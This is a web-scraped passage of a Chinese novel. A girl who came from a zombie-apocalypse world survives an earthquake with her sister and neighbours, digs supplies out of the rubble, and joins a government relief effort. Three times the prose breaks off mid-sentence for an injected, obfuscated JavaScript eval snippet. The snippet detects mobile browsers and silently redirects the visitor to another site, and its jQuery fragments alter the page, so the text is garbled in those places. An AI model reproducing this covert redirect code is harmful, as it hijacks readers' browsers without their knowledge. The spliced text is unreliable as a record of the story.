尤其是担心会被人群冲散，她和卞含秀是挽着手一起走的，母女俩险些摔作一团。 幸好走在两人身后的季元武眼疾手快，一把抓住手臂，将人强行提溜起来。 他的手臂肌肉紧绷，额头上青筋暴起。 “别停！继续跑！” 卞含秀忙不迭点头，她也被吓得不轻，脸色发白额头冒出细汗，握住女儿手腕的指尖用力到指节微微泛青。 如此危急的情况下人人都自身难保。 宁竹亲眼看着有一家五六个青壮年的，仗着自己年轻力壮就一路横冲直撞，将旁边的人撞得东倒西歪扑倒在地，惹来混着哭声的咒骂； 看着妇人不顾一切逆流而去，眼神在人群中急切地寻找着，高声呼喊外出玩乐的孩子的名字； 还有人呆立在原地，嘴唇颤抖，脸色苍白如纸，已经被眼前混乱的场景吓得六神无主...... 宁竹自己都是泥菩萨过河自身难保，更别提手里还抱着一个小孩，根本没有时间和能力去解救别人，她只能努力忽视掉，不去看周围的混乱。 她能感觉到季家人就跟在自己身后，脚步声沉重而急促，如此一来更是片刻不敢停下，脚下的步伐愈发加快。 宁竹低下头，对着怀里的宁荷道：“抱紧！” 宁荷年纪小，尚且年幼懵懂，虽然不是很明白是什么情况，但是她能感受到阿姐的紧张和周围压抑的气氛，乖乖趴在宁竹怀里不动。 她小脸皱成一团，伸出白胖的小胳膊紧紧圈住阿姐的脖颈，时不时替她擦擦额头上的细汗，动作小心翼翼，生怕打扰到她。 人越多越危险，宁竹抿唇默默加快速度，扫视四周，凭借灵活的走位，很快就穿过拥挤推搡的人群，到达了集市。 空旷的广场上此时已经站满了人，四处都是嘈杂的声音，她对这个集市的地形不熟悉，抱着宁荷找到一个远离周围高大建筑的地方站定。 终于停了下来，宁竹松了口气，不过短短一分多钟，却像是过去了好久。 季家人始终都跟在她身后，季新桐平日活动量少，此时胸口剧烈起伏，喘得上气不接下气，卞含秀看着稍微好一些，也在扶着腰平复呼吸。 周围环境复杂，宁竹没有贸然将宁荷放下，经过半个月好吃好喝的养着，她的身体素质虽还比不上末世前，但也比原来好多了，抱个四五十斤的孩子对她来说连负重都算不上。 宁竹的手臂依然稳稳地托着宁荷，没有丝毫松懈，眼睛依旧不动声色地注意着四周的动向。 季元武本来想开口问，需不需要自己帮忙抱一抱宁荷，瞥见宁竹脸不红心不跳的模样，又将到嘴边的话咽了回去。 他眼中闪过一丝惊讶，心中纳罕：小竹力气竟如此之大吗？若是换作他抱着孩子狂奔这么些路，怕是也免不了换换手喘口气...... 季元武的目光在宁竹瘦削的身形上停留片刻。 此刻的宁竹单看的外表只是一个瘦瘦巴巴的小女孩，小脸蜡黄，身形单薄，仿佛一阵风就能将她吹倒，决计想不到她会有这么大的力气。 察觉到季元武的视线，宁竹扭头望去。 方才她挤过路人时，总又人不满想要发作，加之场面混乱不堪，看见她背上的竹篓，不乏有人想浑水摸鱼。 但卞含秀始终紧跟在身后，行为间对她们多有回护，见到的人都下意识以为他们是一家人，再一转眼看见身材魁梧高大的季元武，便也生不出太多心思，通常也会选择作罢。 宁竹从来不会高估人性，她不怕那些人，却也不想这种危急时刻有人不长眼凑上来，白白耽误时间。 假如没有季家人在，只有她们两个孤女，面对的绝对不会是现在这样轻松的局面，只是眼下场景不合适说感谢的话。 宁竹没在意季元武的眼神，对着他露出一个笑。 他们刚停下几歇，天空中乌云翻滚，一下就变天了。 远远就能看见涉州城中，那座最高的酒楼宛如风中残烛般摇摇欲坠，外墙上的砖瓦纷纷脱落，重重地砸在街道上。 地面上像是凭空出现无数张咧开的大嘴，逐渐露出一条条裂缝，最后只听四面八方都传来“嘭”的巨大声响，城中屋舍骤然倒塌，扬起无数的尘土。 宁竹单手抱住宁荷，让她把头埋到自己怀里，顺便捂住她的耳朵，不想让她听见看见。 可是下一秒，宁竹自己的耳朵却被一双手捂住，她猛地抬起头，映入眼帘的是卞含秀温婉的面容。 这双温暖带着细茧的手，让宁竹想起了死在丧尸潮中的师兄师姐们，心中涌上些酸软。 地震不知道持续了多久，停下来的时候宁竹觉得耳朵都已经出现了幻听，嗡然声不停。 她放眼望过去几乎不再有矗立着的建筑，到处都是断壁残垣和散落的杂物，无法判断家的方向。 远处的废墟之下更不时传来微弱的呼救和痛苦的呻吟，空气中弥漫着尘土味、烧焦味和淡淡的血腥味。 从前的平淡祥和的家园，瞬间变成了人间炼狱。 有人瘫坐在地痛哭出声、有人满眼伤感迷茫、有人崩溃尖叫、有人聚在一起焦躁的议论。 宁竹一时竟然有些忘了自己身在何处，仿佛梦回到那个她挣扎求生两年的末世。 最后还是宁荷用手扯了扯她的衣角时才恍然回神。 她已经离开了末世，可眼前这一幕也好不到哪里去。 宁竹松开覆在宁荷眼睛上的手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143078|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>后者看见眼前的场景先是呆了呆，又问道：“阿姐，我们的家呢？” 宁竹抿了抿唇：“没有了。” 宁荷茫茫然地说：“那，阿兄回来找不到我们怎么办？” 宁竹一时哑然，摸了摸她的头没有回答。 宁荷从姐姐的沉默中读懂了什么，方才还表现得格外懂事的小姑娘眼里瞬间沁满了泪，只知道攥着阿姐领口的衣服，把头埋进她的脖颈中发出呜咽。 季家人像是被姐妹俩的对话唤回了魂。 “家没了。”季新桐咬唇哭道，“阿爹阿娘，承哥儿怎么办？” 逢此变故，哪怕是卞含秀也没忍住，心中担心身在书院的儿子安危，又不得不镇定下来安抚女儿，声音里带着颤抖：“承哥儿聪慧，我们都没事，他肯定也平安无恙。” 这话更多像是说给自己听的，话音未尽卞含秀就没忍住背过身，用袖子擦了擦眼泪。 宁竹没见过季新承几回，只知道他所在的书院和集市隔了有十几个坊，每日光是耗费在路上的时间就足足有一个时辰。 距离本就遥远，更别说如今这样的情形，至少短时间内，他们一家怕是还无法团聚。 明明才过去十分钟不到，每个人脸上却已写满了憔悴，好好的家园毁于一旦，季元武原本一个爽朗爱笑的汉子，此刻也沉默不语。 他伸手将妻子揽进怀里，轻轻拍了拍她的背，粗糙的手掌传递着无声的安慰。 他自然没有不担心儿子的道理，可是眼下灾难还未过去，他得先照顾好妻女，再去寻儿子。 卞含秀的脸埋在他的胸口，肩膀微微颤抖，显然是在压抑着情绪。 宁竹见状，轻声开口道：“书院那边房屋没有这么密集，还有专门的跑马场和演武场，地势宽敞，况且还有师长同窗在身边，承哥儿不会有事的，秀姨，你也要照顾好自己。” 卞含秀抬起头，眼睫湿润，不过情绪已经好多了，闻言连连点头：“是，小竹说得对，家没了，咱们还得生活，眼下是该想想怎么办。” 他们在这里没有水，没有粮食，吃喝拉撒都是问题，幸好最近天气还不冷，不然光是夜晚的寒风就足以要命。 地动才停息没多久，就有人去翻找周围的废墟翻找东西，还有人匆匆往家的方向走去。 见此情景，季元武深吸一口气，开口道：“你们就在这里等着，我顺着方向回去，看看能不能找到点......” 宁竹将宁荷放下来，皱着眉打断他的话。 “季叔，地动才过去，还不知道还会不会有余震，我们还是再等等吧。” 虽然不明显，但是地面还有轻微的晃动，随时可能再次爆发，现在回去危险性太高了，而且正是人心惶惶的时候，起码要等到官府的人来，有了官兵压制，那些想趁机作乱、不怀好意的人也会收敛些。 这样，宁竹才好放心将宁荷留下来，跟季元武一起去回去。 天灾后，朝廷官府通常会有赈灾的举动，可是回想在茶馆听到的那番言论，宁竹并不敢把全部希望寄托在官府身上。 她习惯性的靠自己，比季元武还想回家一趟，而且是尽快，不只是食物衣物，还有她藏在房梁上的银票，也得尽快找到。 不过这就没必要说出来了。 听宁竹说完，季元武知道越是这种时候越是急躁不得，微微颔首道。 “你想得周到，听你的。” 从第一个发现地动、当机立断选择跑向安全地带避险、再到如今不慌不乱理智分析现状，不知不觉间，原本那个有些固执沉郁的宁竹在众人心目中一点点淡去。 季元武看向宁竹的眼神也略微有了不同，多了些深意。 在这个混乱的时刻，宁竹不同于旁人的冷静和果断，倒是成了他们之中的主心骨。 5. 官府派人 在场只有卞含秀和季元武两个大人，方才宁竹一直以来表现出来的镇定，他们只当做是家中接连出现变故后长大了，并没有起疑心。 卞含秀看向宁竹的眼神还带着欣慰。 这让宁竹之后再做出一些不同于原主的举动时，不仅有了充分且合理的解释，行动上也少了许多阻碍。 时间一点一滴过去，中间大大小小经历了两次余震，每一次地面轻微的晃动，都让人心头一紧。 众人对于地动的印象在这一刻变得更为清晰，远处，不少去废墟里捡东西的人被重重压在砖瓦之下，惨叫伴随着血肉横飞，变得更加惨烈。 如此，大多数人都选择了安安稳稳等着，不再冒着生命危险去灾区，毕竟什么都比不上自己的命要紧。 天色逐渐暗淡，宁竹粗略估计，距离地动开始到现在，大概已经过去三个时辰了。 这个时代的普通百姓家中，一般只吃早晚两顿饭，被困在集市里的许多人肚子早就唱起了空城计。 最最要命的是气温变化，仿佛一夜之间换了个季节似的，冷风刺骨，吹得人眼泪直流。 大人还好说，小孩是决计扛不住的。 宁竹将背篓放下来，将今日买的几套新衣给宁荷换上，把自己的分给了卞含秀和季新桐披着，多少能挡住一些寒风。 背篓里只有一些零嘴，分量不多，不能顶饱，季元武和卞含秀都没碰，只让几个孩子吃了。 周围的人看在眼里，但碍于季元武在一旁瞪着双虎目，羡慕眼馋也没敢凑上来。 天气越来越冷，卞含秀靠着背篓坐下来，一左一右将宁荷和季新桐给搂进了怀里，手臂紧紧环住两个孩子，还招呼宁竹也过来，试图替她们遮挡寒意。 宁竹不太适应这种程度的亲近，摇头拒绝了。 她心中微微一沉，没曾想官府行动如此之慢，到现在一点动静都没有，不能再继续等下去了，他们逃命时什么都没带，若真是原地枯等上一夜，情况只会更加糟糕。 宁竹思索着应该怎么开口说服季元武留下来保护他们，她自己回去一趟时，远处蓦地传来了喧嚷声。 天色昏暗看不清远处的情形，只依稀看见了几个燃烧的火把，微弱的光亮点燃了众人的心，人群中开始骚动起来。 宁竹立刻从地上站起身来，疾声道：“应当是官府来人了，劳秀姨看顾阿荷，我去前头看看。” 说罢都没等卞含秀等人回应，就拔腿朝前跑去。 卞含秀回过神来，哪能放心她一个人去，赶紧催促季元武：“你也快跟过去看看。” 众人围拥的地方不远，宁竹眨眼就到了跟前，仗着身材瘦小，直接溜到了最前面。 “呜呜呜各位官老爷，因着这该死的地龙翻身，小的们如今连家都没有了，这可怎么办啊！” “求求大人们行行好，家中老人孩子都有，这天寒地冻，怕是熬不过啊！” “我家娘子和孩子还在家中，求大人救救他们.....救救他们啊......” 被灰头土脸的百姓们围起来的几人，身上统一穿着厚重的皮甲，腰间佩着长刀，在火光下泛着森冷的寒光。 是官兵！ 宁竹心里长吁一口气。 目前这种情况，还有人出面理事，那就是天大的好事。 场面混乱嘈杂，人群中不时传来低低的啜泣声和焦躁的议论声，其中有一位个子稍矮的官兵脸上眉间隆起一个“川”字。 “都退后！！安静！！” 官兵的声音很大，几乎是扯着嗓子在喊，可惊惶不安的百姓们此刻什么都听不进去，只是下意识地凑上前。 说话的矮个官兵耐心也在告罄，宁竹亲眼看见他的手已经扶上了腰间的长刀，眼中狠厉一闪而过。 宁竹心中一凛，步子开始向后退。 现在百姓们心中正是苦闷的时候，不加已安抚，反而刀剑相向，倘若真的发生了灾民流血事件，场面更控制不住，这里不能久留，官府着实信不过...... 就在这时，有一人上前，不着痕迹地按住了官兵的手，他约摸二十岁上下，眉目英气俊朗，高大的身影气势非凡。 虽然年纪轻，但行为举止看起来更像是这些官兵的头领。 他对那位差点拔刀的官兵使了一个眼色，示意他先退下，矮个官兵当即收敛神色，顺从地松开了手，退到了一旁。 恰巧季元武也走到了宁竹身边，没说话，就静静护在身后，宁竹往后退的步子一顿。 “大家稍安勿躁，涉州城遭难，各位大人不会对百姓们坐视不管，已经筹集了粮食，稍后就会送到。” 他的声音沉稳有力，瞬间安抚了躁动的人群。 “另外再来两个妇人，将这些粥煮了，每人一碗，等天亮后，这一片的灾民都要去城外城隍庙，不能再待在这里，男丁随我等一起救助灾民和清理城内，每日可多领一碗粥。” 以工代赈，治下严明，涉州的官员还算是靠谱，看来刚才那个暴脾气官兵只是特例。 宁竹的眉头稍稍舒展，有这些官兵在，附近应该不会有人不长眼来欺辱老弱妇孺。 她想也没想就举起手，出声道：“我，我婶子做过厨娘，也做过农家席。” 这话可没撒谎，卞含秀确实有一手好厨艺。 她几乎是在领头官兵说完时，立马就接上了话，稚嫩清脆的嗓音一出，领头的那位官兵瞬间就望了过来。 这时，宁竹才看清楚他左边眼角有一道伤疤，几乎横穿了左边脸颊，破坏了原本英俊的面容，再加上满身肃杀的气质，绝对能止小儿夜啼。 宁竹却直视着他，不躲不闪。 刀疤脸眼中划过一道诧异，平头老百姓对吃官家饭的人天然就有畏惧，能在众人踌躇之时抢先喊出这句话响应他，不知道这个小女孩是天生胆子大，还是不知者无畏。 但这不影响刀疤脸，也就是宗明川，愿意将目光顺着她所指的方向看过去，百姓们也下意识退开一条道。 宁竹指向不远处，那头为了能够时刻察觉到这边的动向，卞含秀已经揽着两个孩子站起来了。 天色虽暗，宗明川还是看清了不远处挨在一起的三人。 妇人面相温婉，身上干净整洁，只有衣摆沾了点灰，见有人看过来，她有些慌乱，但很快就反应过来，朝人微微屈身行礼。 在她的左边是个四五岁的女童，右边那个看着也还尚未及笄。 三人面容干净，指甲仔细修剪过，没有泥灰之类的污垢，宗明川目光从她们身上扫过后，心中还算是满意。 “就你吧，可以多领一碗粥作为报酬。” 听见“报酬”两个字，其他围在四周的百姓也反应过来，忙出声争取剩下的煮粥名额，高举着手，脸上写满了急切。 “大人，我家婆娘做饭也是坊里有名的！” “我爹以前是酒楼的大厨，吃过都说好！” “官老爷，小妇人也是做惯粥食的，不若让我试试……” 接下来就是这群官兵的事情了，宁竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143079|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和季元武从人群中退出来，拉着卞含秀三人走到边缘处。 距离不是很近，但也能确保官兵们能一眼就又能看见他们，可以应声上前答话。 季元武感叹道：“还是小竹机灵，阿秀你们留下来帮忙，有这些官兵在，想必那些流氓也不敢再生事，我就能放心回去一趟了。” 宁竹不假思索道：“季叔，我和你一起去。” 刚才官兵说了官府会招募百姓清理灾区救人，而且等天一亮就会将灾民统一转移到城外的城隍庙。 时间所剩无几，宁竹不能再等了，万一她辛辛苦苦攒下的物资和银钱被别人捡走，她得肉疼死，必须尽快回去一趟。 季元武想了想，没有拒绝。 不管关系再如何亲近，但他们始终还是两家人，宁竹家里只剩下他跟妹妹，有些事情季元武不便做主，宁竹是该回去一趟收拾些行李。 城外还不知道是什么样子的，得多准备些才好。 卞含秀也没说什么，只是道“路上小心”，又担心他们一个粗心大意的男人，一个涉世未深的小姑娘，不知道过日子要怎么准备，抓紧时间交代要拿什么。 “保命最重要，东西拿不到就算了，以后日子长着呢，咱们还能再挣，你们快去快回，路上千万小心。” 为了安她的心，宁竹和季元武都纷纷点头应了。 宁竹最后蹲下身来，她知道宁荷平日里就很乖，但今天情况特殊，还是叮嘱了一遍。 “乖乖听秀姨和新桐姐姐的话，别乱跑，也别害怕，阿姐去去就来。” 宁荷的眼眶还是红红的，不过并没有哭闹，只是乖巧点头：“阿姐，我会听话的，你一定要快点回来。” “嗯，阿姐相信你。”宁竹揉了揉她的发顶，又对着卞含秀说，“麻烦你了秀姨。” 出发宜早不宜迟，把该交代的交代一遍，宁竹他们不再耽误，背上竹篓摸黑往巷子的方向走去。 往日里热闹的坊间，如今只余一片死寂，回去的巷子已经被乱七八糟的砖石杂物阻断，走路时需要格外小心。 借着并不明亮的月光，宁竹看见曾经承载着无数人家的屋舍，只剩下几堵摇摇欲坠的土墙和满地碎瓦。 路过的所有地方几乎都成了废墟，完全看不出之前的模样，最后还是季元武靠着那架放在宁竹家门前，还未来得及拿的手推车才辨认出来。 两家的房子都垮塌得差不多了，地上一片狼藉，所有东西都被掩埋在尘土之下，翻找起来费时费力，特别是被横梁木压住的地方，那是需要好几个壮汉才能抬得动的。 季元武不知道从哪里捡到一个火折子，从地上捡起一根松木枝，裹上废布，沾点灶房被打碎的油罐子，点燃后做了一个简易火把递给宁竹。 “小竹，我们分开收拾，有什么事情就大声喊我。” 两家本就是挨在一起的，如今没了围墙遮挡，有火把在，黑夜里很轻易就能看见对方，倒是不用担心遇到什么危险来不及救。 两人各自朝家去，宁竹没多犹豫，直奔原本灶房所在。 原本的建筑早就已经面目全非，宁竹俯身在废墟中翻找，寻到几块房梁上陶罐的碎片，还有一些没有被压坏的咸肉干菜。 宁竹一直在灶房周围寻找着，一寸地方都不愿意放过，就在她猜测东西会不会已经被人捡走的时候，终于，余光在某个角落里瞥见了熟悉的布包。 看外表还是好好的，不像是有破损。 宁竹脸上露出笑意。 找到了！ 6. 拾取物资地窖 宁竹三步并作两步，飞快将布包捡起来，拍了拍附着在表面的灰，再小心翼翼地打开。 布包里外包了好几层，麻绳捆得扎实，里面是之前攒下来的银票和银子，还有后来签到系统给的装着解毒丸的荷包，全都安然无恙。 宁竹心里稍稍放松了些，低声自语道：“幸好找到了，不然前些天的努力就全部打水漂了。” 有银钱傍身，心里踏实了许多，她将布包放进怀里收好，接着寻找其他出城会用到的东西。 目前两手空空，自然是能捡到什么就用什么。 首当其冲是就是粮食，他们来得早，家里不像是被翻过的样子，宁竹弯腰捡起一个尚且还算是完整牢固的大木桶。 地动前准备的那些腌菜坛子已经碎了个稀巴烂，坛子碎片散落一地，腌菜的酸味和灰尘味混杂在空气中，有些刺鼻难闻。 宁竹只看了一眼，便不再理会，继续在废墟中翻找，她先前粮食囤积得够多，想来总有在地动中幸存的。 果不其然，宁竹翻开破烂的砖瓦，手指就触到了布袋一样的东西，她用力将那袋东西从废墟中拽了出来。 那是一个装粮的袋子，袋子表面沾满了灰尘，却并无破损，里面装着的是上好的细面，宁竹掂了掂，大约有三十来斤重。 接着，她又找到了半竹筒的酱油，洒了大半，盖子撇在一边，拿起来看了看，还算是干净，并不嫌弃，也一同收起来了。 宁竹随手抬开断了的横梁木，又在底下翻出个变形的小铁锅，是她来这里之后花了大价钱专门定制的。 家里人口少，这样的小锅方便清洗拿取，用的真材实料，体积又小，才没有像大铁锅一样被巨木给压扁，得以保存下来。 另外找到了五个豁了口，还能勉强用用的陶碗，再东拼西凑几双筷子，还有个壶嘴被砸歪的铜壶，吃饭的家伙事也算是收集齐了。 最让宁竹惊喜的还是挖在灶房靠墙角位置的地窖，推开上面倒塌的土墙，再搬走上面的压石板之后，露出一个半人高的入口。 宁竹举着火把，低头探身去看，火光映照下，可以看见四五个平方大小的地方都被她塞得满满当当的，人站在里面转身都困难。 里面物资大体保存得都很完好，只有一些放在木架上面的掉落在地，剩下的全是耐放的食物。 两个装满的油篓，其余还有小麦、粟米、大豆、干菜、腊肉、咸鱼、盐巴…… 宁竹再一次感谢自己经历末世后留下来的后遗症，至少现在不用担心饿肚子了。 不过食物太多，一次性也拿不完，还需要给其他物资腾点位置，因此宁竹只装了一小部分，剩下的打算明日一早再来搬。 她将地窖重新封好，搬来了最大的横梁木和其他杂物做了些遮掩，确保几个大汉合力都很难搬开。 宁竹不知道还会不会降温，但是城外比城内更冷，被褥棉衣是必不可少的。 姐妹俩的卧房被完全掩埋在木头砖瓦之下，全部徒手扒拉肯定不现实，时间紧迫，宁竹只能凭着直觉找到床的位置，搬开最上层砖瓦。 索性运气还不错，宁竹顺利地找到了被褥，顾不上干不干净了，能用就行，她在末世时候，沾了人血的衣服都穿过，一些灰土而已，完全不是问题。 她接着到处搜寻能用得上的东西，去年的旧袄子直接穿上身节约空间，几支蜡烛、一把剪子、一大块油布、破了洞的蓑衣、半块不知道放在哪个犄角旮旯被抖出来的打火石、还有皂角...... 最后宁竹收罗出来的东西足足装了一个半人高的大背篓，身前还多了个沉甸甸的包袱。 算一算时间，他们也出来快一个时辰了，自制的火把早就熄灭，换成了蜡烛。 宁竹抬起头，正想看看季元武那边是什么情况，恰巧，季元武那边也已经收拾妥当，忙得满头大汗，正大步朝她走来。 季元武手里提着大大小小的包袱，肩上还挂着几个布袋子，手推车大部分地方都堆满了，只留了一小块空位，那是特意给宁竹留的。 季元武走近后，抬手抹了一把额头的汗：“小竹，都收拾好了吗？季叔来帮你。” 宁竹拍拍身上的包袱。 “已经收拾好了。” 季元武仔细瞧了瞧，看她每一样物品都收拾得规规整整的，便没再多问，只是抬手就要将她的背篓抬上手推车。 宁竹却轻轻侧身，避开了他的手，摇了摇头道：“季叔，我们回去还不知道会遇见什么，你把手里的包袱放在车上吧，有危险时能空得出手。” 她没有明说会有什么危险，可是两人都心知肚明。 虽说官兵已经来了，但离这里还有一段距离，天色乌漆嘛黑的，根本看不清远处的动静，那群官兵也不像是会管他们的闲事的人。 如果真的有人不长眼冲上来抢东西，宁竹能保证他有来无回，可是现在还有家人正在等待着他们，多一事不如少一事。 有季元武这个高壮汉子在，眼下还不算混乱的时候，足以震慑一些地痞流氓了。 季元武明白这个道理，只是心中还是有些不赞同。 等天亮以后，他们出城还要走上好一段路，而且现在很多路面都被碎石砖瓦掩埋，走起来更是不易，大不了他少带一些东西，不能让宁竹扛着那个成年汉子都够呛的背篓走这么远。 可是下一秒，季元武劝住的话就堵在了喉咙口。 他亲眼看见宁竹将足有半人高，堆得满满当当的背篓轻松提了起来，仿佛轻飘飘跟羽毛似的甩在背上，走起来的步伐可比季元武自己轻巧多了。 季元武一时间有些愣神，要不是亲眼看见背篓里都有些什么，他真的会怀疑里面装的都是棉花。 他知道宁竹力气比一般小娘子要大，可没想到这么大，百来十斤的重量跟闹着玩一样。 不过心下也放松不少，这样一来，不知情的人肯定会以为宁竹背的都是不起眼的东西，少了些觊觎。 季元武不再勉强，只道：“累了你就放上来，季叔别的不多，力气还是有的，你别逞强。” 季家夫妇都是心善的好人，宁竹自己做不到这样，但事实是跟这样的人一起行动确实更让人放心。 宁竹露出一个笑，点头道：“我知道的，放心吧季叔。” 季元武转身将手里的包袱放在手推车上，摆弄调整物品位置，确保它们不会在半路散落。 两人顺着原路返回，路上的人明显比方才多了许多，都朝着反方向匆匆而去，其中不少是宁竹眼熟的街坊邻居，个个看着都愁眉苦脸的。 大伙儿都在坊间住了几十年，抬头不见低头见的，彼此之间虽不算亲近，但也算熟悉，只是自从宁家父母去世后，许多人便渐渐断了来往。 他们就算认出了宁竹，也没有多在意，倒是季元武平日里为人爽朗大方，遇到的很多街坊都上前来打招呼，目光在他们的行囊上扫过，顺便打听打听情况。 每个人都在忧心自家，并没有过多寒暄，很快就步履匆匆地离开了。 其中有位面容愁苦的中年男人，宁竹没见过，大概不住在坊间，只是从这边路过的。 他身边跟着个年纪跟宁竹相仿的小儿，哭声震天，一直吵闹着要找阿娘阿奶，任凭中年男人怎么哄劝，也没见停下。 中年男人在看见季元武身边瘦瘦小小、沉默寡言的宁竹时，眼神停顿一瞬，做出欲言又止的模样，似乎是想跟季元武借一步说话。 宁竹站在一旁，目光平静地看着中年男人，她大概能猜出他想说什么，无非是劝季元武别管她这个“累赘”了，而今这世道，自身难保，带着她只会拖累他们一家人。 可季元武并没有给中年男人开口的机会，他直言卞含秀还在等着，不便多留，婉拒告辞了对方。 中年男人见状，只得勉强地笑了笑，带着哭闹的小儿匆匆离开了。 季元武转头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143080|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了宁竹一眼，见她神色如常，便也没多说什么。 别人不知道，他还能不知道吗？ 要不是宁竹提醒及时，他们一家人绝对不会安然无恙站在这里，他季元武还做不出那种翻脸不认人的事。 两人继续埋头前进，好在没遇到什么不长眼的人，也没有碰到余震，有惊无险地回到了集市上。 空气中多了一股温暖的米香味，救济粥已经煮好发下去了，宁竹看见许多一家几口人围坐在一起，捧着陶碗，万般珍惜地喝着碗里的稀粥。 他们走进集市难免要路过其他人占据的地盘，引来不少明里暗里的窥视，更多的还是盯着满当当的手推车，不过都被季元武用麻袋遮起来了，看不清车上装了些什么。 再一看季元武故意冷着脸，倒是没人敢凑上去说话。 季新桐正带着宁荷在搭建出来的临时灶台周围玩，目光小心注意四周，看见宁竹和父亲的身影时，她眼睛一亮，立刻转身，用手轻轻扯了下卞含秀的衣摆。 “阿娘，小竹和阿爹回来了！” 卞含秀抬头看见二人，肉眼可见地松了口气，她低头对着篝火边正在用饭的官兵们说了些什么。 为首的刀疤脸望了过来，摆摆手没说话，卞含秀欠了欠身，就去灶台上打了两碗粥，领着两个孩子过来了。 “阿姐！” 明明才分开一个多时辰，宁荷语气激动得像是八百年没见似的，她迈着小短腿，想要跑过去接宁竹手里的东西，可是她一个小豆丁能拿什么。 卞含秀赶紧拦住，转手将粥碗递给季元武，想帮忙将背篓给宁竹卸下来，她看宁竹背得轻松，还以为没什么重物，谁知刚一接手，那扎实的重量差点没把她老腰给闪了。 得亏宁竹反应得快，用手托了一把。 “老天爷！这么重！小竹什么时候力气变得这么大了？” 卞含秀着实被惊到了。 宁竹不知该怎么回答，只能胡诌糊弄过去。 她将背篓放下，无辜地笑了笑：“我也不知道，其实从小力气就大，只是阿娘在的时候不许我......” 提及逝者，宁竹表情带上一些悲伤，心中默默对着宁母道歉，这是不得已为之，还望见谅。 宁荷听到姐姐提起阿娘，脑海中早已模糊的身影也浮现出来，爹娘没了、哥哥不见了、现在家也没了，顿时两眼泪汪汪。 看两个孩子可怜巴巴、欲哭不哭的模样，卞含秀不敢再多问，赶紧打住了话题，只安抚地将有些冷了的粥碗塞进宁竹手里。 “好了好了，不说那些了，先用饭！” 宁竹见好就收，忙活半宿，她肚子也是真的饿了，救济粥清汤寡水的，绝对算不上好喝，不过她不嫌弃，呼噜呼噜灌了下去。 以她如今的食量来说，这点都还不够溜缝儿的，吃了跟没吃一样。 不过现在集市上到处都是人，宁竹有粮食也不方便拿出来，毕竟生火煮饭还是太招人眼了，手边也没有水，只等天亮去城外再说。 等她二人用晚饭，歇了口气，卞含秀才开口问了家里的情况，听到说屋子都塌了时，这个一向温柔乐观的女人也忍不住落了泪。 到底是打拼了大半辈子挣来的家业，又怎么能不心疼呢。 宁荷赖在宁竹怀里，死活不肯起身，后者知道她没有安全感，就由着她了。 小孩儿本来就是睡不够的，听大人们说着话，没一会儿，宁荷就头靠着宁竹的肩膀睡着了。 夜色已深，周围也渐渐安静下来，众人在精疲力尽中睡去，多少人希望今天只是一个梦，醒来时家还在，亲人也还在…… —— 翌日，天刚蒙蒙亮。 宁竹本就没有睡熟，耳边听见属于男人浑厚的嗓音，她瞬间睁开了眼。 “都起来！！别睡了！！该出城了！” 宁竹摇醒怀中的宁荷，随意用袖子抹了抹脸，牵着她站起来。 7. 出城安置 一夜过后，像是又降温了，天空灰蒙蒙的，厚重的云层堆积在天际，阴沉得厉害。 官兵们并没有让灾民即刻动身，而是又招来昨日的几个妇人，继续在临时搭建的灶台前忙碌。 妇人们手脚麻利地添柴、往锅中放麦加水，没一会儿，热气腾腾的粥香在寒冷的空气中弥漫开来，引得周围的灾民们不住地咽口水。 脸上带着刀疤的官兵目光从灾民们身上扫过，他朝后挥了挥手，随后一名身材魁梧的官兵大步走到前方。 “有没有会写字的，站出来！给一把粟米！” 他的声音高昂洪亮，如惊雷般回荡在空旷的集市，引得灾民们纷纷抬头张望。 宁竹站在人群中，视线落在官兵们手中拿着的纸笔上，心中暗自猜测： 大概是用来做登记，将灾民的信息都问清楚，方便后续安置，没准还会按每户分配住处。 听见官兵的话，宁竹倒是想举手报名，可奈何这真是知识盲区。 原本宁父宁母是想送原身去读书习字的，可原身刚到年纪，家中就接连发生变故，于是上学一事就此搁置。 后来原身跟着宁松认了些字，可惜没教多少宁松就离开了，而宁竹才刚来这里不久，还没来得及学会这个时代的文字，更是个实打实的文盲。 她光靠着脑海中原身的记忆，认和读倒是没问题，不过写字就不行了。 半文盲真的很多事都做不成，宁竹琢磨着，有时间还是得学学认字、写字。 季元武因着在铁匠铺做许多年工，也曾学几个字，只是写得不大好看。 不过当下普通百姓大多都不识字，都这个时候了，会写字已然很不错，他就接过纸笔应征上岗了。 恰好被分配给了那个刀疤脸官兵。 对方扫了季元武一眼，随后指了指旁边的桌子，示意他开始登记。 